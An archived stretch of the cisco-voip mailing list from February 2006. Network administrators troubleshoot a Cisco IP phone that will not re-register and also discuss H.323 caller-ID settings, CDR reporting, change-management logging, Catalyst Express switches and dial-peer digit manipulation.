    Subject: Re: [cisco-voip] Remotely rebooting Phone without using Callmanager(in CM not connected, but can still ping/http)


    Not sure of any other ideas at this point. Just curious if there is any Skinny traffic from the phone to CCM. Use Network Monitor on the Primary CCM to see if the phone is attempting to create a TCP connection to the CCM server and if it is failing.

    Kevin
    On Feb 17, 2006, at 7:38 PM, Hans-Peter Walter wrote:



      hi, 
      we have a problem with a SRST-config at a remote site, so I played around and set a 
      line of a phone to "Auto Answer with speakerphone" and could hear some servers running in the background, 
      and did some testing. The SRST still doesn't work properly, but thats another story... 

      Now the phone some how stucks. I can ping it, I can go to the phone website http://<phone-ip>, but it 
      is *NOT* registered in Callmanager and not on the SRST-Router. 
      I denied access for that phone to the callmanager (hoped it would try to reboot) ==> no success 
      I rebooted the SRST-Router (default-gateway of the phone) ==> no success 
      I shut down and enabled the switch-port where the phone is connected ==> no success 
      I even rebooted the entire switch ;-) ==> no success 
      After all these actions I can still ping / http to the phone... 

      I wish I had PoE there, because I think I just would need unplug power.... 
      soooo: Is there another way to reboot a phone *without* the Callmanager, 
      maybe something hidden like http://<phine-ip>/admin or something? 

      thanks and a nice weekend... 
      HP_______________________________________________
      cisco-voip mailing list
      cisco-voip at puck.nether.net
      https://puck.nether.net/mailman/listinfo/cisco-voip



----------------------------------------------------------------------------


    _______________________________________________
    cisco-voip mailing list
    cisco-voip at puck.nether.net
    https://puck.nether.net/mailman/listinfo/cisco-voip



------------------------------------------------------------------------------


  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From Hans-Peter.Walter at tds.de  Fri Feb 17 20:05:19 2006
From: Hans-Peter.Walter at tds.de (Hans-Peter Walter)
Date: Fri Feb 17 20:01:17 2006
Subject: Antwort: Re: [cisco-voip] Remotely rebooting Phone without using
	Callmanager (in CM not connected, but can still ping/http)
In-Reply-To: <d7194adb383f00fe38bebbecbcd94da3@cisco.com>
Message-ID: <OF2C4C5DEA.1C959C51-ONC1257119.000524F6-C1257119.000581EB@de.tds-global.com>

forgot to mention that: 
- I did a "fw monitor" (a kind of tcpdump) on 
a firewall, and there is absolutely no traffic (only my ping from CCM).
- I even changed the IP of the router to the same ip of the phone, 
just nothing happened. I changed the IP back to .1 (Gateway), and 
I can again ping and http the phone.
- tried some very large pings for about 60 minutes (remembered that there 
was 
a bug in Win95 wihich caused system to reboot) and justed hoped I could 
happen anything.

How many lives got this phone ;-)? This load is too stable for me, I'm 
going to downgrad  the phone 
when CM should ever be able to reach again;-)!





Kevin Thorngren <kthorngr at cisco.com> 
18.02.2006 01:46

An
Hans-Peter Walter <Hans-Peter.Walter at tds.de>
Kopie
cisco-voip at puck.nether.net
Thema
Re: [cisco-voip] Remotely rebooting Phone without using Callmanager (in CM 
not connected, but can still ping/http)






Not sure of any other ideas at this point.  Just curious if there is 
any Skinny traffic from the phone to CCM.  Use Network Monitor on the 
Primary CCM to see if the phone is attempting to create a TCP 
connection to the CCM server and if it is failing.

Kevin
On Feb 17, 2006, at 7:38 PM, Hans-Peter Walter wrote:

>
> hi,
> we have a problem with a SRST-config at a remote site, so I played 
> around and set a
> line of a phone to "Auto Answer with speakerphone" and could hear some 
> servers running in the background,
> and did some testing. The SRST still doesn't work properly, but thats 
> another story...
>
> Now the phone some how stucks. I can ping it, I can go to the phone 
> website http://<phone-ip>, but it
> is *NOT* registered in Callmanager and not on the SRST-Router.
> I denied access for that phone to the callmanager (hoped it would try 
> to reboot) ==> no success
> I rebooted the SRST-Router (default-gateway of the phone) ==> no 
> success
> I shut down and enabled the switch-port where the phone is connected 
> ==> no success
> I even rebooted the entire switch ;-) ==> no success
> After all these actions I can still ping / http to the phone...
>
> I wish I had PoE there, because I think I just would need unplug 
> power....
> soooo: Is there another way to reboot a phone *without* the 
> Callmanager,
> maybe something hidden like http://<phine-ip>/admin or something?
>
> thanks and a nice weekend...
> HP_______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip

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From mfa at crec.ifas.ufl.edu  Fri Feb 17 20:26:28 2006
From: mfa at crec.ifas.ufl.edu (Mike Armstrong)
Date: Fri Feb 17 20:26:34 2006
Subject: [cisco-voip] Remotely rebooting Phone without using Callmanager
	(in CM not connected, but can still ping/http)
References: <200602180034.k1I0Y1da099151@puck.nether.net>
Message-ID: <009901c6342a$58372e80$0402a8c0@crec.ifas.ufl.edu>

Maybe I'm missing something, but PoE or not, the phone is getting power from 
something, so somebody at the remote site should be able to unplug whatever 
is supplying power.  Maid, security guard, whoever is there could be talked 
through it.  (Unless it's the only phone there?)

Mike Armstrong
UF/ IFAS CREC
Lake Alfred, FL

> Message: 4
> Date: Sat, 18 Feb 2006 01:38:00 +0100
> From: Hans-Peter Walter <Hans-Peter.Walter at tds.de>
> Subject: [cisco-voip] Remotely rebooting Phone without using
> Callmanager (in CM not connected, but can still ping/http)
> To: cisco-voip at puck.nether.net
> Message-ID:
> <OF2FA8A131.E19A4887-ONC1257119.00025DE0-C1257119.000301A1 at de.tds-global.com>
>
> Content-Type: text/plain; charset="us-ascii"
>
> hi,
> we have a problem with a SRST-config at a remote site, so I played around
> and set a
> line of a phone to "Auto Answer with speakerphone" and could hear some
> servers running in the background,
> and did some testing. The SRST still doesn't work properly, but thats
> another story...
>
> Now the phone some how stucks. I can ping it, I can go to the phone
> website http://<phone-ip>, but it
> is *NOT* registered in Callmanager and not on the SRST-Router.
> I denied access for that phone to the callmanager (hoped it would try to
> reboot) ==> no success
> I rebooted the SRST-Router (default-gateway of the phone) ==> no success
> I shut down and enabled the switch-port where the phone is connected ==>
> no success
> I even rebooted the entire switch ;-) ==> no success
> After all these actions I can still ping / http to the phone...
>
> I wish I had PoE there, because I think I just would need unplug power....
> soooo: Is there another way to reboot a phone *without* the Callmanager,
> maybe something hidden like http://<phine-ip>/admin or something?
>
> thanks and a nice weekend...
> HP


From SPackett at fenwick.com  Fri Feb 17 21:04:32 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Fri Feb 17 21:04:44 2006
Subject: [cisco-voip] h323 and outgoing subnet mask
Message-ID: <965C0255FD5828438E34F9A68ECA76E740AAFE@svcexch02.firm.fenwick.llp>

James:
In our situation, we have an H.323 gateway specifically used for long
distance and we wanted all outgoing calls out of that gateway to have
one caller-id.  Below is a clip from my H.323 gateway which shows the
outgoing number to be 6509888500.  From what I remember, this overwrites
all caller-ids as it's the last hop before it hits the PSTN.
 
interface Serial0/0/0:23
 no ip address
 encapsulation hdlc
 no logging event link-status
 no snmp trap link-status
 isdn switch-type primary-5ess
 isdn incoming-voice voice
 isdn calling-number 6509888500
 no cdp enable

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Thursday, February 16, 2006 10:31 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] h323 and outgoing subnet mask



I need to know how outgoing mask for caller id works for h323 gws.  We
have a few sites around the us and they all use one h323 gw for LD
calls.  We tried to put outgoing mask on the line config and this do not
work.  If we put the mask on the gw config its fine.   But this way
caller id is screwed because you can only put one mask #.  Is there a
limitation with this by configuring  h323 gws.  Mgcp works fine.  But
the vendor needs it to be h323

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation
--------------------------------------------------------

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--------------------------------------------------------

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The information contained in this message may be legally privileged and confidential.  It is intended to be read only by the individual or entity to whom it is addressed or by their designee. If the reader of this message is not the intended recipient, you are on notice that any distribution of this message, in any form, is strictly prohibited.
 
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From karlr at SHERIDAN.EDU  Sat Feb 18 11:26:19 2006
From: karlr at SHERIDAN.EDU (Rubottom, Karl)
Date: Sat Feb 18 11:26:30 2006
Subject: [cisco-voip] CDR Hold Times
Message-ID: <29365246B78D08469DE4B49D32BCB10E024FCD2D@scmail2.SHERIDAN.EDU>

We use Crystal Reports to extract information from our CDR.  Is it
possible to find how long some one was on hold? 

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From jsteinberg at gmail.com  Sat Feb 18 12:36:03 2006
From: jsteinberg at gmail.com (Justin Steinberg)
Date: Sat Feb 18 12:36:05 2006
Subject: [cisco-voip] Remotely rebooting Phone without using Callmanager
	(in CM not connected, but can still ping/http)
Message-ID: <f1b65f880602180936p5dd2ab76r6b635734b49d6e7a@mail.gmail.com>

I'd be interested to see what's on the phone screen.  Try to get a
screenshot via:

http://<phone ip>/CGI/Screenshot

You'll be prompted for credentials for a DC directory user who is
associated with your phone's MAC.  Of course, if your phone can not
communicate with the authentication URL this won't work.

Or as Mike said, you could just ask the Maid what's on the phone screen.

Justin


> Date: Fri, 17 Feb 2006 20:26:28 -0500
> From: "Mike Armstrong" <mfa at crec.ifas.ufl.edu>
> Subject: Re: [cisco-voip] Remotely rebooting Phone without using
>         Callmanager     (in CM not connected, but can still ping/http)
> To: <cisco-voip at puck.nether.net>, <Hans-Peter.Walter at tds.de>
> Message-ID: <009901c6342a$58372e80$0402a8c0 at crec.ifas.ufl.edu>
> Content-Type: text/plain; format=flowed; charset="iso-8859-1";
>         reply-type=original
>
> Maybe I'm missing something, but PoE or not, the phone is getting power from
> something, so somebody at the remote site should be able to unplug whatever
> is supplying power.  Maid, security guard, whoever is there could be talked
> through it.  (Unless it's the only phone there?)
>
> Mike Armstrong
> UF/ IFAS CREC
> Lake Alfred, FL
>
> > Message: 4
> > Date: Sat, 18 Feb 2006 01:38:00 +0100
> > From: Hans-Peter Walter <Hans-Peter.Walter at tds.de>
> > Subject: [cisco-voip] Remotely rebooting Phone without using
> > Callmanager (in CM not connected, but can still ping/http)
> > To: cisco-voip at puck.nether.net
> > Message-ID:
> > <OF2FA8A131.E19A4887-ONC1257119.00025DE0-C1257119.000301A1 at de.tds-global.com>
> >
> > Content-Type: text/plain; charset="us-ascii"
> >
> > hi,
> > we have a problem with a SRST-config at a remote site, so I played around
> > and set a
> > line of a phone to "Auto Answer with speakerphone" and could hear some
> > servers running in the background,
> > and did some testing. The SRST still doesn't work properly, but thats
> > another story...
> >
> > Now the phone some how stucks. I can ping it, I can go to the phone
> > website http://<phone-ip>, but it
> > is *NOT* registered in Callmanager and not on the SRST-Router.
> > I denied access for that phone to the callmanager (hoped it would try to
> > reboot) ==> no success
> > I rebooted the SRST-Router (default-gateway of the phone) ==> no success
> > I shut down and enabled the switch-port where the phone is connected ==>
> > no success
> > I even rebooted the entire switch ;-) ==> no success
> > After all these actions I can still ping / http to the phone...
> >
> > I wish I had PoE there, because I think I just would need unplug power....
> > soooo: Is there another way to reboot a phone *without* the Callmanager,
> > maybe something hidden like http://<phine-ip>/admin or something?
> >
> > thanks and a nice weekend...
> > HP
>
>
>


From Hans-Peter.Walter at tds.de  Sat Feb 18 15:47:38 2006
From: Hans-Peter.Walter at tds.de (Hans-Peter Walter)
Date: Sat Feb 18 15:43:34 2006
Subject: Antwort: Re: [cisco-voip] Remotely rebooting Phone without using
	Callmanager (in CM not connected, but can still ping/http)
In-Reply-To: <f1b65f880602180936p5dd2ab76r6b635734b49d6e7a@mail.gmail.com>
Message-ID: <OFA9582362.DBC79FE3-ONC1257119.006DB712-C1257119.0071BF24@de.tds-global.com>

hi all,
finally I gave up.

- reboot-bug: 
we are running 7.2(3.0), but we tried everything, from small packets 
to big packets, different tcp options, reset, syn, ack 
spoofed packets from gateway to phone, from that phone to itself etc.
==> no chance,  the only thing we killed was the ospf process on the 
router because of heavy load ;-).

- just ask somebody
in europe it was friday evening at about 10 o'clock when I began, so 
nobody was/is there, no maid, 
just nobody.

- http://<phone ip>/CGI/Screenshot
didn't work either, as I do not have the username/pw for that phone. Tried 
things like cisco/cisco, hoping
the phone reacts, but nothing...

- on the streaming-page of the phone I can see a stream from the phone to 
the gateway, still sending 
packets (counters increase), but no reply from the gateway (counters 
doesn't increase).

So I believe the phone still think it's an active call, but shouldn't it 
be disconnected when the Ethernet 
goes down??

I opened this thread as the guy complained about the SRST not working 
properly will come 
to the office on monday morning and see an active call since friday ;-) (i 
know it's not really active, but.....).
Thats why I wanted to know how to reboot that phone. Probably it's just 
pressing the speaker-button to end the 
call, and the phone will reconnect ;-).

thanks all for your time....






"Justin Steinberg" <jsteinberg at gmail.com> 
18.02.2006 18:36

An
cisco-voip at puck.nether.net
Kopie
mfa at crec.ifas.ufl.edu, Hans-Peter.Walter at tds.de
Thema
Re: [cisco-voip] Remotely rebooting Phone without using Callmanager (in CM 
not connected, but can still ping/http)






I'd be interested to see what's on the phone screen.  Try to get a
screenshot via:

http://<phone ip>/CGI/Screenshot

You'll be prompted for credentials for a DC directory user who is
associated with your phone's MAC.  Of course, if your phone can not
communicate with the authentication URL this won't work.

Or as Mike said, you could just ask the Maid what's on the phone screen.

Justin


> Date: Fri, 17 Feb 2006 20:26:28 -0500
> From: "Mike Armstrong" <mfa at crec.ifas.ufl.edu>
> Subject: Re: [cisco-voip] Remotely rebooting Phone without using
>         Callmanager     (in CM not connected, but can still ping/http)
> To: <cisco-voip at puck.nether.net>, <Hans-Peter.Walter at tds.de>
> Message-ID: <009901c6342a$58372e80$0402a8c0 at crec.ifas.ufl.edu>
> Content-Type: text/plain; format=flowed; charset="iso-8859-1";
>         reply-type=original
>
> Maybe I'm missing something, but PoE or not, the phone is getting power 
from
> something, so somebody at the remote site should be able to unplug 
whatever
> is supplying power.  Maid, security guard, whoever is there could be 
talked
> through it.  (Unless it's the only phone there?)
>
> Mike Armstrong
> UF/ IFAS CREC
> Lake Alfred, FL
>
> > Message: 4
> > Date: Sat, 18 Feb 2006 01:38:00 +0100
> > From: Hans-Peter Walter <Hans-Peter.Walter at tds.de>
> > Subject: [cisco-voip] Remotely rebooting Phone without using
> > Callmanager (in CM not connected, but can still ping/http)
> > To: cisco-voip at puck.nether.net
> > Message-ID:
> > 
<OF2FA8A131.E19A4887-ONC1257119.00025DE0-C1257119.000301A1 at de.tds-global.com>
> >
> > Content-Type: text/plain; charset="us-ascii"
> >
> > hi,
> > we have a problem with a SRST-config at a remote site, so I played 
around
> > and set a
> > line of a phone to "Auto Answer with speakerphone" and could hear some
> > servers running in the background,
> > and did some testing. The SRST still doesn't work properly, but thats
> > another story...
> >
> > Now the phone some how stucks. I can ping it, I can go to the phone
> > website http://<phone-ip>, but it
> > is *NOT* registered in Callmanager and not on the SRST-Router.
> > I denied access for that phone to the callmanager (hoped it would try 
to
> > reboot) ==> no success
> > I rebooted the SRST-Router (default-gateway of the phone) ==> no 
success
> > I shut down and enabled the switch-port where the phone is connected 
==>
> > no success
> > I even rebooted the entire switch ;-) ==> no success
> > After all these actions I can still ping / http to the phone...
> >
> > I wish I had PoE there, because I think I just would need unplug 
power....
> > soooo: Is there another way to reboot a phone *without* the 
Callmanager,
> > maybe something hidden like http://<phine-ip>/admin or something?
> >
> > thanks and a nice weekend...
> > HP
>
>
>

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From lelio at uoguelph.ca  Sat Feb 18 18:32:01 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Sat Feb 18 18:31:56 2006
Subject: [cisco-voip] change management documentation
Message-ID: <43F7AE71.3090608@uoguelph.ca>

Just wondering what others are using out there to document changes to 
their system . For example, we have a route filter to restrict access to 
900 and 976 numbers, but as we add to that, I'd like to be able to 
document what the changes were, who suggested them, who authorized them 
and more importantly why the changes were made.




From ealeatherman at gmail.com  Sun Feb 19 08:56:03 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Sun Feb 19 08:56:06 2006
Subject: [cisco-voip] change management documentation
In-Reply-To: <43F7AE71.3090608@uoguelph.ca>
References: <43F7AE71.3090608@uoguelph.ca>
Message-ID: <94a1afde0602190556sbb278f1i782119f8c446fddc@mail.gmail.com>

Kinda old fashioned, but I have a notebook i write down significant changes,
patches, and so forth in. I've been wanting to put together an internal Wiki
for change logs, documentation, etc but I just havent had the time to learn
how to do it =\.

Callmanager doesnt audit changes anywhere with MLA does it?

On 2/18/06, Lelio Fulgenzi <lelio at uoguelph.ca> wrote:
>
> Just wondering what others are using out there to document changes to
> their system . For example, we have a route filter to restrict access to
> 900 and 976 numbers, but as we add to that, I'd like to be able to
> document what the changes were, who suggested them, who authorized them
> and more importantly why the changes were made.
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>



--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From lelio at uoguelph.ca  Sun Feb 19 09:52:17 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Sun Feb 19 09:52:12 2006
Subject: [cisco-voip] change management documentation
References: <43F7AE71.3090608@uoguelph.ca>
	<94a1afde0602190556sbb278f1i782119f8c446fddc@mail.gmail.com>
Message-ID: <001301c63564$14c45250$c901a8c0@deadfish>

Regarding MLA, all I've seen is which pages have been accessed. Even with it on debug mode, nothing like what phone was deleted, or line was added, nothing! Very dissappointed in that. But I was more concerned with system changes. I can come up with a spreadsheet or something like that, but I was hoping for something pre-configured so that I don't miss an important field or something.
  ----- Original Message ----- 
  From: Ed Leatherman 
  To: Lelio Fulgenzi 
  Cc: cisco-voip at puck.nether.net 
  Sent: Sunday, February 19, 2006 8:56 AM
  Subject: Re: [cisco-voip] change management documentation


  Kinda old fashioned, but I have a notebook i write down significant changes, patches, and so forth in. I've been wanting to put together an internal Wiki for change logs, documentation, etc but I just havent had the time to learn how to do it =\. 

  Callmanager doesnt audit changes anywhere with MLA does it?


  On 2/18/06, Lelio Fulgenzi <lelio at uoguelph.ca > wrote:
    Just wondering what others are using out there to document changes to
    their system . For example, we have a route filter to restrict access to
    900 and 976 numbers, but as we add to that, I'd like to be able to
    document what the changes were, who suggested them, who authorized them
    and more importantly why the changes were made.



    _______________________________________________
    cisco-voip mailing list
    cisco-voip at puck.nether.net
    https://puck.nether.net/mailman/listinfo/cisco-voip




  -- 
  Ed Leatherman
  IP Telephony Coordinator
  West Virginia University
  Telecommunications and Network Operations 
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From jburton at NETechCorp.com  Sun Feb 19 15:23:51 2006
From: jburton at NETechCorp.com (Jason Burton)
Date: Sun Feb 19 15:25:58 2006
Subject: [cisco-voip] Speaking of Express 500s
References: <6A0744639B86DD459433108DBF101D26E16AF3@MAIL01.sentinel.com>
Message-ID: <FDC137145729AD438CDCA0F9FC6F72363395CB@mail.netechcorp.com>

Just an FYI I've dealt with two the Cat 500 and both went bad within 1 month.

________________________________

From: cisco-voip-bounces at puck.nether.net on behalf of Carter, Bill
Sent: Fri 2/17/2006 4:07 PM
To: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Speaking of Express 500s


I wish they had Regular SMARTnet instead of Next Business Day SMB.


________________________________

	From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Israel Lang
	Sent: Friday, February 17, 2006 12:30 PM
	To: Voll, Scott
	Cc: cisco-voip at puck.nether.net
	Subject: Re: [cisco-voip] Speaking of Express 500s
	
	
	I have two in production right now. Had a few issues out of the box, but that was more related to learning the GUI than the switch itself, I think. I am still not comfortable with the lack of flexibility that a GUI only switch affords, but for those that are concerned about price this is better than some alternatives. 
	
	Israel
	
	
	On 2/17/06, Voll, Scott <Scott.Voll at wesd.org> wrote: 

		Has anyone used a Cat. Express 500 in production yet.  We currently use 3560's and will continue to use 3560's but we also make suggestions to our School districts as to what to buy.  Cisco has always been more expensive but with the 500's this has changed.  We have previously suggested the HP procurves but the price is almost the same.  And more of my Schools are looking at VoIP so we would like them to start thinking in this direction, but since we have not been able to get a demo yet, and you guys always have great information, I would like to hear from you.  I don't like not having the CLI but other then that and the backplane (which shouldn't matter for k12 schools) do they work well or are they buggy?

		 

		Thanks

		 

		Scott


		_______________________________________________
		cisco-voip mailing list
		cisco-voip at puck.nether.net
		https://puck.nether.net/mailman/listinfo/cisco-voip
		
		
		




	-- 
	Have a great day!!!!!!!!!!
	zephy316_gmail.com
	
	Replace the _ with an @ symbol 



From wsisk at cisco.com  Sun Feb 19 20:31:59 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Sun Feb 19 20:32:16 2006
Subject: [cisco-voip] change management documentation
In-Reply-To: <001301c63564$14c45250$c901a8c0@deadfish>
References: <43F7AE71.3090608@uoguelph.ca>
	<94a1afde0602190556sbb278f1i782119f8c446fddc@mail.gmail.com>
	<001301c63564$14c45250$c901a8c0@deadfish>
Message-ID: <1F15E874-8AFC-4326-9E43-D327A4EB41D9@cisco.com>

every update/change you make is documented in the iis logs under c: 
\winnt\system32\logfiles\w3svc1

it's not in the nicest format, but there's enough there for you two  
gents as sharp as you to figure out the rest.

this is among my favorite tools when someone calls TAC and says  
'nothing changed' :)

/Wes

On Feb 19, 2006, at 9:52 AM, Lelio Fulgenzi wrote:

Regarding MLA, all I've seen is which pages have been accessed. Even  
with it on debug mode, nothing like what phone was deleted, or line  
was added, nothing! Very dissappointed in that. But I was more  
concerned with system changes. I can come up with a spreadsheet or  
something like that, but I was hoping for something pre-configured so  
that I don't miss an important field or something.
----- Original Message -----
From: Ed Leatherman
To: Lelio Fulgenzi
Cc: cisco-voip at puck.nether.net
Sent: Sunday, February 19, 2006 8:56 AM
Subject: Re: [cisco-voip] change management documentation

Kinda old fashioned, but I have a notebook i write down significant  
changes, patches, and so forth in. I've been wanting to put    
together an internal Wiki for change logs, documentation, etc but I  
just havent had the time to learn how to do it =\.

Callmanager doesnt audit changes anywhere with MLA does it?

On 2/18/06, Lelio Fulgenzi <lelio at uoguelph.ca > wrote:
Just wondering what others are using out there to document changes to
their system . For example, we have a route filter to restrict access to
900 and 976 numbers, but as we add to that, I'd like to be able to
document what the changes were, who suggested them, who authorized them
and more importantly why the changes were made.



_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

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From lelio at uoguelph.ca  Sun Feb 19 21:25:53 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Sun Feb 19 21:25:50 2006
Subject: [cisco-voip] change management documentation
References: <43F7AE71.3090608@uoguelph.ca>
	<94a1afde0602190556sbb278f1i782119f8c446fddc@mail.gmail.com>
	<001301c63564$14c45250$c901a8c0@deadfish>
	<1F15E874-8AFC-4326-9E43-D327A4EB41D9@cisco.com>
Message-ID: <000a01c635c4$fb51ebf0$c901a8c0@deadfish>

I think I've seen that before. I'd like to see something a litte more 'human readable' though, so it has the user and the action they took. Is that on the plans anytime soon? Something like transaction logging.
  ----- Original Message ----- 
  From: Wes Sisk 
  To: Lelio Fulgenzi 
  Cc: Ed Leatherman ; cisco-voip at puck.nether.net 
  Sent: Sunday, February 19, 2006 8:31 PM
  Subject: Re: [cisco-voip] change management documentation


  every update/change you make is documented in the iis logs under c:\winnt\system32\logfiles\w3svc1


  it's not in the nicest format, but there's enough there for you two gents as sharp as you to figure out the rest.


  this is among my favorite tools when someone calls TAC and says 'nothing changed' :)


  /Wes


  On Feb 19, 2006, at 9:52 AM, Lelio Fulgenzi wrote:


  Regarding MLA, all I've seen is which pages have been accessed. Even with it on debug mode, nothing like what phone was deleted, or line was added, nothing! Very dissappointed in that. But I was more concerned with system changes. I can come up with a spreadsheet or something like that, but I was hoping for something pre-configured so that I don't miss an important field or something.
    ----- Original Message ----- 
    From: Ed Leatherman 
    To: Lelio Fulgenzi 
    Cc: cisco-voip at puck.nether.net 
    Sent: Sunday, February 19, 2006 8:56 AM
    Subject: Re: [cisco-voip] change management documentation


    Kinda old fashioned, but I have a notebook i write down significant changes, patches, and so forth in. I've been wanting to put together an internal Wiki for change logs, documentation, etc but I just havent had the time to learn how to do it =\. 

    Callmanager doesnt audit changes anywhere with MLA does it?


    On 2/18/06, Lelio Fulgenzi <lelio at uoguelph.ca > wrote: 
      Just wondering what others are using out there to document changes to
      their system . For example, we have a route filter to restrict access to
      900 and 976 numbers, but as we add to that, I'd like to be able to
      document what the changes were, who suggested them, who authorized them
      and more importantly why the changes were made.



      _______________________________________________
      cisco-voip mailing list
      cisco-voip at puck.nether.net
      https://puck.nether.net/mailman/listinfo/cisco-voip




    -- 
    Ed Leatherman
    IP Telephony Coordinator
    West Virginia University
    Telecommunications and Network Operations 
  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip

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From jim at tgasolutions.com  Sun Feb 19 21:41:40 2006
From: jim at tgasolutions.com (Jim McBurnett)
Date: Sun Feb 19 21:41:50 2006
Subject: [cisco-voip] change management documentation
Message-ID: <D2BBAE709B4D874DAC556C7EB9D938FC0DB7D6@exchange.TGASolutions.local>

Can't Sawmill do that for you?
 
Jim

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Lelio Fulgenzi
Sent: Sunday, February 19, 2006 9:26 PM
To: Wes Sisk
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] change management documentation


I think I've seen that before. I'd like to see something a litte more
'human readable' though, so it has the user and the action they took. Is
that on the plans anytime soon? Something like transaction logging.

	----- Original Message ----- 
	From: Wes Sisk <mailto:wsisk at cisco.com>  
	To: Lelio Fulgenzi <mailto:lelio at uoguelph.ca>  
	Cc: Ed Leatherman <mailto:ealeatherman at gmail.com>  ;
cisco-voip at puck.nether.net 
	Sent: Sunday, February 19, 2006 8:31 PM
	Subject: Re: [cisco-voip] change management documentation

	every update/change you make is documented in the iis logs under
c:\winnt\system32\logfiles\w3svc1 

	it's not in the nicest format, but there's enough there for you
two gents as sharp as you to figure out the rest.

	this is among my favorite tools when someone calls TAC and says
'nothing changed' :)

	/Wes

	On Feb 19, 2006, at 9:52 AM, Lelio Fulgenzi wrote:

	Regarding MLA, all I've seen is which pages have been accessed.
Even with it on debug mode, nothing like what phone was deleted, or line
was added, nothing! Very dissappointed in that. But I was more concerned
with system changes. I can come up with a spreadsheet or something like
that, but I was hoping for something pre-configured so that I don't miss
an important field or something.

		----- Original Message ----- 
		From: Ed Leatherman <mailto:ealeatherman at gmail.com>  
		To: Lelio Fulgenzi <mailto:lelio at uoguelph.ca>  
		Cc: cisco-voip at puck.nether.net 
		Sent: Sunday, February 19, 2006 8:56 AM
		Subject: Re: [cisco-voip] change management
documentation

		Kinda old fashioned, but I have a notebook i write down
significant changes, patches, and so forth in. I've been wanting to put
together an internal Wiki for change logs, documentation, etc but I just
havent had the time to learn how to do it =\. 
		
		Callmanager doesnt audit changes anywhere with MLA does
it?
		
		
		On 2/18/06, Lelio Fulgenzi <lelio at uoguelph.ca > wrote: 

			Just wondering what others are using out there
to document changes to
			their system . For example, we have a route
filter to restrict access to
			900 and 976 numbers, but as we add to that, I'd
like to be able to
			document what the changes were, who suggested
them, who authorized them
			and more importantly why the changes were made.
			
			
			
			_______________________________________________
			cisco-voip mailing list
			cisco-voip at puck.nether.net
	
https://puck.nether.net/mailman/listinfo/cisco-voip
			




		-- 
		Ed Leatherman
		IP Telephony Coordinator
		West Virginia University
		Telecommunications and Network Operations 

	_______________________________________________
	cisco-voip mailing list
	cisco-voip at puck.nether.net
	https://puck.nether.net/mailman/listinfo/cisco-voip


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From jonvoip at gmail.com  Sun Feb 19 22:01:00 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Sun Feb 19 22:01:05 2006
Subject: [cisco-voip] basic digit manipulation
In-Reply-To: <003601c6335b$11195070$6301a8c0@windfall99>
References: <13591CB4B2359F4D96E2606DD6B840A0012E4431@smoxchg.jhacorp.com>
	<000f01c63358$d47565c0$6301a8c0@windfall99>
	<5d093f9a0602161633jc7d01e6kf064347b04520672@mail.gmail.com>
	<003601c6335b$11195070$6301a8c0@windfall99>
Message-ID: <5d093f9a0602191901j15a3431bp474f3b082a11496b@mail.gmail.com>

Sure, do a forward-digits 7 (or whatever to count from right to left)

and then if you need to add digits in the front, add a 'prefix 9' or
whatever (the 9 could be needed on some centrex systems)

it is pretty easy to manipulate digits like this.



J

On 2/16/06, Ciscozest <ciscozest at gmail.com> wrote:
>
> thanks for your reply.  Initialy I thought anything within the bracket is
> not excplitly matched and will be sent out.
> Anyway how if I want to include that range digit [1-4] to PSTN? Is there a
> simpler way to do it rather than create a unique dial-peer for each of them?
>
> ----- Original Message -----
> *From:* Jonathan Charles <jonvoip at gmail.com>
> *To:* Ciscozest <ciscozest at gmail.com>
> *Cc:* cisco-voip at puck.nether.net
> *Sent:* Friday, February 17, 2006 8:33 AM
> *Subject:* Re: [cisco-voip] basic digit manipulation
>
> 565 then not the 9 or the next matched digit, anything matched by the dots
> will be sent...
>
> So,
>
> 565.......
>
> Would be sent.
>
>
>
> Jonathan
>
> On 2/16/06, Ciscozest <ciscozest at gmail.com> wrote:
> >
> > I am wondering what digits are sent with following config:
> >
> > dial-peer voi 1 pots
> > destination-pattern 9[1-4].......
> > prefix 565
> > !
> >
> > I have two FXS and two FXO VIC in my vg200, but no PSTN line. Is there a
> > way i can test the above setup? Ie: to simulate as if the FXO interface 'up'
> > so that I can use debug voice command to see the digits sent out. Anyone
> > can help?
> >
> > thanks
> > Robin
> >
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
> >
> >
>
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From shehzad.hassan at bell.ca  Mon Feb 20 00:59:01 2006
From: shehzad.hassan at bell.ca (shehzad.hassan@bell.ca)
Date: Mon Feb 20 00:57:38 2006
Subject: [cisco-voip] Returned mail: see transcript for details
Message-ID: <200602200557.k1K5vYmb018392@puck.nether.net>

